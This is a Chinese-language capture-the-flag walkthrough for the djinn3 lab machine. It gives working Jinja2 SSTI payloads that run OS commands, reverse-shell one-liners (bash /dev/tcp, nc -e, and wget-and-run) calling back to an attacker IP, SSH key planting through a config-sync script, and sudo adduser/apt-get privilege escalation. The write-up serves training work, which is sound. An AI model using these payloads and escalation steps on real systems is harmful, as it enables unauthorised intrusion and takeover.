与 1 和 2 相同,开机即可得到 djinn3 的 IP地址:192.168.67.14
获取相关信息:nmap -A -p- 192.168.67.14
22 ---> ssh --> open
80 ---> http --> open
5000 ---> http --> open
31337 ---> open --> open
先看看刚刚 nmap 有没有扫出什么东西:
可得到服务端是 lighttpd ,看看有没有关于该项的漏洞,无发现
浏览 80 端口的 web 页面:
页面上简单介绍了一下自己的身份,查看网页源代码,看来无论点击什么都指向的 # 界面:
dirb 工具检索目录:
dirb http://192.168.67.14/ /usr/share/wordlists/dirb/big.txt
得到 images 目录但访问返回状态码为 403 ,
whatweb http://192.168.67.14/
看来 80 端口没有带给什么东西
查看 nmap 信息:
用 python3.6.9 编写,werkzeug 库开发,而且还是个 web ,猜测这是 flask 框架,由此联想到 jinja2 模板引擎[这是很常见的搭配方式],要知道 jinja2 是存在 SSTI 漏洞的,除此之外这在现在的 CTF 也是很常见的出题方式,如果不知道 SSTI 的首先你得学习:
沙箱逃逸
SSTI
浏览 5000 端口的 web 页面,得到默认用户 guest
点击 link 也没啥发现,5000 暂时搁置
nc 连接一波:nc 192.168.67.14 31337
猜测用户名和密码均为 guest,然后根据提示 help
> update
You are not authorized to update the system.Contact the system administrator for this
> open
Title: 111
Description: 111
> close
Ticket ID:
Ticket ID ? 这不是刚刚 5000 界面的东西吗?好吧,open 那一块也是…我们回到 5000 界面再查看下,说到 5000 ,在学习 SSTI 的时候端口也是 5000 ,这难道是作者的暗示?
刚刚添加进去的出现在页面上,点击 link 显示的 Description 也为刚刚输入的…
让我们回到 31337 端口,再增加一条,验证一下是否存在 SSTI 漏洞:
> open
Title: 222
Description: {{6*6}}
确认过眼神,是我要的人,由此就知道了这里存在 SSTI 漏洞
[注意:Title不是我们模板要渲染的,渲染的是 Description,所以构造 payload 要遭 Description 下构造]
在 31337端口 --> open --> 构造 payload,这里我通过编程,得到了一个重载过的 WarningMessage,为第 156 号:
{{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('ls -la').read()}}
创建反弹 shell:
kali 这边先侦听 8686 端口: nc -vnlp 8686
{{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('bash -i >& /dev/tcp/192.168.67.221/8686 0>&1').read()}}
无效:
用 nc 试试:
{{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('nc 192.168.67.221 8686 -e /bin/bash').read()}}
同样无效
尝试传入一个 shell 文件然后在里边赋予权限,这里使用 wget 从 kali 下载该 shell 文件,看这样能否获取反弹 shell
echo "bash -i >& /dev/tcp/192.168.67.221/8686 0>&1" > a.sh
cat a.sh
打开 apache2 服务: service apache2 start
移动 a.sh 到 http 目录: mv a.sh /var/www/html/
浏览器访问一下确保传到:
制造下载+赋予权限+运行 a.sh 的payload - open --> Title --> Description:
{{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('wget http://192.168.67.221/a.sh;chmod 777 a.sh;./a.sh').read()}}
成功获取反弹 shell:
习惯性的想把它反编译,为了保护文件的完整性,我们拷贝其十六进制的数据,如何得到十六进制数据?使用 xxd 命令查看即可:
xxd .configuration.cpython-38.pyc
—> copy
到 kali 上:vim configure.pyc
然后把刚刚 copy 的文件 Ctrl+Shift+V
粘贴上去,wq 保存退出
将其用 xxd 命令转化为二进制格式:
xxd -r configure.pyc >> configure1.pyc
xxd -r syncer.pyc >> syncer1.pyc
uncompyle6 反编译,没有的使用 pip3 install uncompyle6
下载:
uncompyle6 configure1.pyc >> configure.py
uncompyle6 syncer1.pyc >> syncer.py
我们来阅读一下源代码,在 syncer.py 文件中有 main 入口,我们从这里开始:
可以看到提供了三种连接服务,分别为 FTP , SSH 和 URL
我们再打开 configure.py 可以看到,syncer.py 文件中调用了 configure.py 的两个方法,让我们继续看 configure.py 中的方法
syncer.py 首先调用了 set_config_path() 方法,从命名上我们也可以得出这是设置配置路径的意思,
files = glob('/home/saint/*.json')
other_files = glob('/tmp/*.json')
files = files + other_files
这个 glob 方法是 glob 模块中的,它的功能相当于 windows 中的磁盘搜索文件,返回的元素是一个列表,从这里我们可以得出这里是得到 /home/saint 下的所有 json 文件[注意这个 saint ],以及得到 /tmp/ 目录下的所有 json 文件,然后把它俩合并成一个列表,并命名为 files
继续往下看:
如果 files 的长度大于 2,这里就设置 files 前两个路径,后面的就是获取最后的文件名,然后比较得到的/home/saint/ 目录下的 json 文件名中的时间,和 /tmp/ 目录下的 json 文件名中的时间,如果 /tmp 目录下的时间比较早,就返回 /home下的,如果不是就返回 /tmp 下的
try:
if len(files) > 2:
files = files[:2]
else:
file1 = os.path.basename(files[0]).split('.')
file2 = os.path.basename(files[1]).split('.')
if file1[(-2)] == 'config':
if file2[(-2)] == 'config':
a = dt.strptime(file1[0], '%d-%m-%Y')
b = dt.strptime(file2[0], '%d-%m-%Y')
if b < a:
filename = files[0]
else:
filename = files[1]
except Exception:
sys.exit(1)
else:
return filename
到这里我们就大概知道做什么了,我们可以在 /tmp 创建一个命名格式为:dd-mm-yyyy.config.json 的文件,内容为:
[因为这里的 shell 不好创建文件,所以我们可以在 kali 先生成改 json 文件,然后使用 wget 命令下载该文件即可]
{
"URL":"http://192.168.67.221/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"
}
使得我们可以利用免密登陆上 saint 的 ssh!若是不懂什么是 ssh 的免密登陆请看这里:SSH 免密登陆
通过上述的 json 我们就可以把在 kali 生成的公钥传输到目标服务器上的 .ssh 目录中,即可实现免密登录,首先我们得生成公钥
ssh-keygen -t rsa
cd .ssh
然后把公钥上传到 apache2 服务器上,注意命名:
cp id_rsa.pub /var/www/html/authorized_keys
在 /var/www/html 目录下创建名为:18-07-2020.config.json 的文件,内容如上所示:
小结一下:我们一共需要上传两个文件到 /var/www/html 目录下,
一个是生成的公钥文件: authorized_keys
一个是自定的json文件: 18-07-2020.config.json
回到靶机的 shell ,进入到 tmp 目录下下载 json 文件:
wget http://192.168.67.221/18-07-2020.config.json
监听 apache2 日志文件看 authorized_keys 是否被 GET:tail -f /var/log/apache2/access.log
可以看到已经 GET 了,这时候去登陆 saint 账户即是免密的:
登陆成功,搜了搜没有什么发现,尝试 sudo -l
:
发现一个可以用 root 身份免密执行的命令:/usr/sbin/adduser
查看一下帮助:/usr/sbin/adduser -h
发现可以指定 gid 增添用户:
增添一个 r00t 用户,指定其 group 为 0 组(跟 root 一个属组)
sudo /usr/sbin/adduser --gid 0 r00t
有了这个跟 root 同一组的用户,就可以读到一些只能root组和root读的文件:/etc/sudoers,该文件包含了能够让普通用户执行一些或者全部的root命令,如果该文件可以写入的话,我们可以把当前用户写入:r00t ALL=(ALL:ALL) ALL
,这样当执行sudo su
的时候,我们就可以进入到 root 了!
但现在只有读权限:
查看一波,可以发现有一个名为 的用户可以以 root 身份执行 apt-get 命令:
查看/etc/passwd你会发现并没有 jason 这个用户,所以退出来回到 saint bash下,手动添加一个 jason:
exit
cat /etc/passwd
apt-get 命令提权:
到 https://gtfobins.github.io/
查看一波
sudo apt-get changelog apt
!/bin/bash
总结:
1.信息收集2.SSTI3.xxd4.uncompyle6反编译pyc5.代码阅读6.用户创建7.uid.gid8.提权9.免密登陆
[比 Basilic 学到的还多…]